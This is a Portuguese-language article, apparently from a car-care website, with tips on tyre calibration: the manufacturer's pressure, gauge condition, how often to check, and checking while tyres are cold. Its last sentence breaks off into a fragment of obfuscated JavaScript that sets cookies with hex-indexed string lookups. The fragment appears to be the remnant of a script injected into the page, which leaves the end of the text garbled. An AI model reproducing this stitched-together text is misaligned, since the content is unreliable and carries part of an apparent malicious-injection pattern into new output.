Forma correta de calibrar os pneus

Um veículo é composto por uma série de mecanismos complexos que permitem sua locomoção e seu funcionamento de forma adequada. Ao longo da história várias inovações foram sendo adicionadas aos veículos que tornaram seu funcionamento ainda mais sofisticado e repleto de pequenos detalhes.

Ainda assim, mesmo em sistemas complexos existem partes simples, mas fundamentais para o funcionamento do mecanismo como um todo. Desde a invenção do automóvel, há mais de 100 anos, um elemento é comum em todos os modelos e seguirá sendo enquanto os veículos tiverem de tocar o solo. Esse elemento é o pneu.

Os pneus são elementos simples, mas essenciais ao funcionamento do veículo. Por isso é importante estar atento às suas condições. Um dos cuidados mais corriqueiros com um veículo é verificar a pressão e calibrar os pneus. Confira algumas dicas para realizar esse procedimento de forma correta:

– Pressão correta

Cada veículo possui uma pressão ideal para a calibragem dos pneus. Esse valor pode ser encontrado no manual do veículo e é de fundamental conhecimento, já que é o fator imprescindível na hora da calibragem.

– Calibrador

É recomendável evitar o uso de calibradores em mau estado de conservação, com mangueiras danificadas ou com o aparelho medidor de pressão desregulado. Isso pode alterar os resultados da pressão dos pneus, acarretando problemas que vão desde um maior gasto de combustível até uma maior chance de que o pneu fure ou esvazie durante o percurso.

– Frequência

Não se deve passar longos tempos sem aferir a pressão dos pneus e realizar sua calibragem. Se o veículo é utilizado diariamente, o ideal é que a calibragem seja feita uma vez por semana. Se o veículo não é utilizado com tanta frequência o ideal é uma calibragem a cada 15 dias.

– Temperatura

É ideal que a calibragem sempre seja feita enquanto os pneus ainda estão frios, ou seja, sem que o veículo tenha andado por um longo período de tempo.

A temperatura influencia na capacidade do material do pneu em suportar o ar, alterando a quantidade de ar interno necessária para que seja atingida a pressão ideal. Quando quentes os pneus suportam mais ar, mas essa capacidade diminui quando o material resfria.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]